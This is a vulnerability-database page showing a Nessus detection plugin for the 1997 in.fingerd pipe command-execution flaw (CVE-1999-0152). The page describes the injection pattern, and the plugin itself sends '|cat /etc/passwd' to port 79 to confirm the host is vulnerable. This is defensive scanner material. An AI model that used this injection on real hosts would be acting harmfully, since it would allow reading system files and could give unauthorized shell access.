Lucene search
K

in.fingerd Pipe Input Arbitrary Command Execution

🗓️ 22 Jun 1999 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 34 Views

Remote finger daemon allows arbitrary command execution, risking shell access for attackers.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
in.fingerd Remote Command Execution
20 Aug 200400:00
nessus
CVE
CVE-1999-0152
29 Sep 199904:00
cve
Cvelist
CVE-1999-0152
29 Sep 199904:00
cvelist
EUVD
EUVD-1999-0152
7 Oct 202500:30
euvd
NVD
CVE-1999-0152
11 Aug 199704:00
nvd
Positive Technologies
PT-1997-1066 · Data General · Dg/Ux
11 Aug 199700:00
ptsecurity
RedhatCVE
CVE-1999-0152
7 Jan 202609:38
redhatcve
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10126);
 script_version ("1.25");
 script_cvs_date("Date: 2018/11/15 20:50:23");
 script_cve_id("CVE-1999-0152");

 script_name(english:"in.fingerd Pipe Input Arbitrary Command Execution");

 script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a remote command execution 
vulnerability." );
 script_set_attribute(attribute:"description", value:
"It is possible to force the remote finger daemon to execute arbitrary
commands by issuing requests like :

  finger  |command_to_execute@target
	
An attacker may use this bug to gain a shell on this host." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1997/Aug/73" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1997/Aug/96" );
 script_set_attribute(attribute:"solution", value:
"Disable your finger daemon if you do not use it, or apply the latest
patches from your vendor." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

 script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "1997/08/11");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
 script_summary(english:"Determines whether in.fingerd is exploitable");
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
 script_family(english:"Misc.");
 script_dependencie("find_service1.nasl");
 script_require_ports("Services/finger", 79);
 exit(0);
}

#
# The script code starts here
#

port = get_kb_item("Services/finger");
if(!port)port = 79;
if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
  d = string("|cat /etc/passwd\r\n");
  send(socket:soc, data:d);
  r = recv(socket:soc, length:65535);
  if(egrep(pattern:"root:.*:0:[01]:", string:r))security_hole(port);
  close(soc);
 }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2018 20:50Current
5.7Medium risk
Vulners AI Score5.7
CVSS 27.5
EPSS0.01393
34